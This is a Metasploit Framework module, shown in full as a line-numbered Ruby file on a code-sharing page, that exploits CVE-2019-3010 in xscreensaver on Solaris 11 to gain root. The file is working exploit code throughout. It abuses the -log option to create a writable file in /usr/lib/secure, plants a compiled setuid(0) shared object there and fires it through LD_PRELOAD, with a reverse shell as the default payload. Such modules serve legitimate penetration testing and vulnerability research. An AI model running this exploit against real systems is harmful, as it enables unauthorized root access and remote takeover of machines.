CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/solaris/local/xscreensaver_log_priv_esc.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Solaris::Priv
11
include Msf::Post::Solaris::System
12
include Msf::Post::Solaris::Kernel
13
include Msf::Exploit::EXE
14
include Msf::Exploit::FileDropper
15
prepend Msf::Exploit::Remote::AutoCheck
16
17
def initialize(info = {})
18
super(update_info(info,
19
'Name' => 'Solaris xscreensaver log Privilege Escalation',
20
'Description' => %q{
21
This module exploits a vulnerability in `xscreensaver` versions
22
since 5.06 on unpatched Solaris 11 systems which allows users
23
to gain root privileges.
24
25
`xscreensaver` allows users to create a user-owned file at any
26
location on the filesystem using the `-log` command line argument
27
introduced in version 5.06.
28
29
This module uses `xscreensaver` to create a log file in `/usr/lib/secure/`,
30
overwrites the log file with a shared object, and executes the shared
31
object using the `LD_PRELOAD` environment variable.
32
33
This module has been tested successfully on:
34
35
xscreensaver version 5.15 on Solaris 11.1 (x86); and
36
xscreensaver version 5.15 on Solaris 11.3 (x86).
37
},
38
'References' =>
39
[
40
['CVE', '2019-3010'],
41
['EDB', '47509'],
42
['URL', 'https://seclists.org/fulldisclosure/2019/Oct/39'],
43
['URL', 'https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver'],
44
['URL', 'https://techblog.mediaservice.net/2019/10/local-privilege-escalation-on-solaris-11-x-via-xscreensaver/'],
45
['URL', 'https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html']
46
],
47
'Notes' => {
48
'Stability' => [CRASH_SAFE],
49
'SideEffects' => [],
50
'Reliability' => [],
51
'AKA' => ['raptor_xscreensaver'] },
52
'License' => MSF_LICENSE,
53
'Author' =>
54
[
55
'Marco Ivaldi', # Discovery and exploit
56
'bcoles' # Metasploit
57
],
58
'DisclosureDate' => '2019-10-16',
59
'Privileged' => true,
60
'Platform' => ['solaris', 'unix'],
61
'Arch' => [ARCH_CMD],
62
'Targets' => [['Auto', {}]],
63
'SessionTypes' => ['shell', 'meterpreter'],
64
'DefaultOptions' =>
65
{
66
'PAYLOAD' => 'cmd/unix/reverse_ksh',
67
'WfsDelay' => 10,
68
'PrependFork' => true
69
},
70
'DefaultTarget' => 0))
71
register_options [
72
OptString.new('XSCREENSAVER_PATH', [true, 'Path to xscreensaver executable', '/usr/bin/xscreensaver']),
73
OptString.new('XORG_PATH', [true, 'Path to Xorg executable', '/usr/bin/Xorg'])
74
]
75
register_advanced_options [
76
OptString.new('Xdisplay', [true, 'Display to use if starting a new Xorg session', ':1']),
77
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
78
]
79
end
80
81
def xscreensaver_path
82
datastore['XSCREENSAVER_PATH']
83
end
84
85
def xorg_path
86
datastore['XORG_PATH']
87
end
88
89
def mkdir(path)
90
vprint_status "Creating directory '#{path}'"
91
cmd_exec "mkdir -p '#{path}'"
92
register_dir_for_cleanup path
93
end
94
95
def upload(path, data)
96
print_status "Writing '#{path}' (#{data.size} bytes) ..."
97
rm_f path
98
write_file path, data
99
register_file_for_cleanup path
100
end
101
102
def upload_and_compile(path, data)
103
upload "#{path}.c", data
104
105
output = cmd_exec "PATH=\"$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin\" gcc -fPIC -shared -s -g -O2 -lc -o #{path} #{path}.c"
106
unless output.blank?
107
print_error output
108
fail_with Failure::Unknown, "#{path}.c failed to compile"
109
end
110
111
register_file_for_cleanup path
112
end
113
114
def check
115
unless setuid? xscreensaver_path
116
vprint_error "#{xscreensaver_path} is not setuid"
117
return CheckCode::Safe
118
end
119
vprint_good "#{xscreensaver_path} is setuid"
120
121
unless has_gcc?
122
vprint_error 'gcc is not installed'
123
return CheckCode::Safe
124
end
125
vprint_good 'gcc is installed'
126
127
xscreensaver_version = cmd_exec("#{xscreensaver_path} --help").to_s.scan(/^xscreensaver ([\d\.]+)/).flatten.first
128
if xscreensaver_version.to_s.eql? ''
129
vprint_error 'Could not determine xscreensaver version'
130
return CheckCode::Detected
131
end
132
133
# Bug introduced in version 5.06. Patched in version <~ 5.42.
134
unless Rex::Version.new(xscreensaver_version).between?(Rex::Version.new('5.06'), Rex::Version.new('5.41'))
135
vprint_error "xscreensaver version #{xscreensaver_version} is not vulnerable"
136
return CheckCode::Safe
137
end
138
vprint_good "xscreensaver version #{xscreensaver_version} appears to be vulnerable"
139
140
CheckCode::Appears
141
end
142
143
def exploit
144
if is_root?
145
fail_with Failure::BadConfig, 'Session already has root privileges'
146
end
147
148
unless writable? datastore['WritableDir']
149
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
150
end
151
152
# Set display
153
display = cmd_exec 'echo $DISPLAY'
154
kill_xorg = false
155
156
if display.to_s.blank?
157
display = datastore['Xdisplay']
158
print_status "Starting Xorg on display #{display} ..."
159
cmd_exec "#{xorg_path} #{display} & echo "
160
kill_xorg = true
161
else
162
print_status "Using Xorg display #{display} ..."
163
end
164
165
# Create writable log file in /usr/lib/secure/
166
lib_name = rand_text_alphanumeric 5..10
167
if cmd_exec("/usr/bin/file #{xscreensaver_path}").to_s.include? 'ELF 64-bit'
168
secure_path = "/usr/lib/secure/64/"
169
else
170
secure_path = "/usr/lib/secure/"
171
end
172
lib_path = "#{secure_path}#{lib_name}.so"
173
174
print_status "Creating log file #{lib_path} ..."
175
cmd_exec "umask 0; DISPLAY=#{display} #{xscreensaver_path} -display #{display} -log #{lib_path} & echo "
176
177
Rex.sleep(5)
178
179
cmd_exec 'pkill -U `whoami` -n xscreensaver'
180
if kill_xorg
181
cmd_exec 'pkill -U `whoami` -n Xorg'
182
end
183
184
unless writable? lib_path
185
fail_with Failure::NotVulnerable, "Could not create writable log file #{lib_path}"
186
end
187
188
register_file_for_cleanup lib_path
189
190
# Upload and compile shared object
191
base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
192
mkdir base_path
193
194
payload_name = ".#{rand_text_alphanumeric 5..10}"
195
payload_path = "#{base_path}/#{payload_name}"
196
197
so = <<-EOF
198
#include <unistd.h>
199
void __attribute__((constructor)) cons() {
200
setuid(0);
201
setgid(0);
202
unlink("#{lib_path}");
203
execle("#{payload_path}", "", NULL, NULL);
204
_exit(0);
205
}
206
EOF
207
208
so_name = ".#{rand_text_alphanumeric 5..10}"
209
so_path = "#{base_path}/#{so_name}"
210
upload_and_compile so_path, so
211
212
# Overwrite newly created log file with compiled shared object
213
vprint_status "Writing shared object to #{lib_path}"
214
cmd_exec "cp '#{so_path}' '#{lib_path}'"
215
216
# Upload and execute payload
217
if payload.arch.first.to_s == 'cmd'
218
upload payload_path, "#!/bin/sh\n#{payload.encoded}"
219
else
220
upload payload_path, generate_payload_exe
221
end
222
chmod payload_path
223
224
print_status 'Executing payload...'
225
cmd_exec "LD_PRELOAD=#{lib_path} #{xscreensaver_path} --help & echo "
226
end
227
end
228
229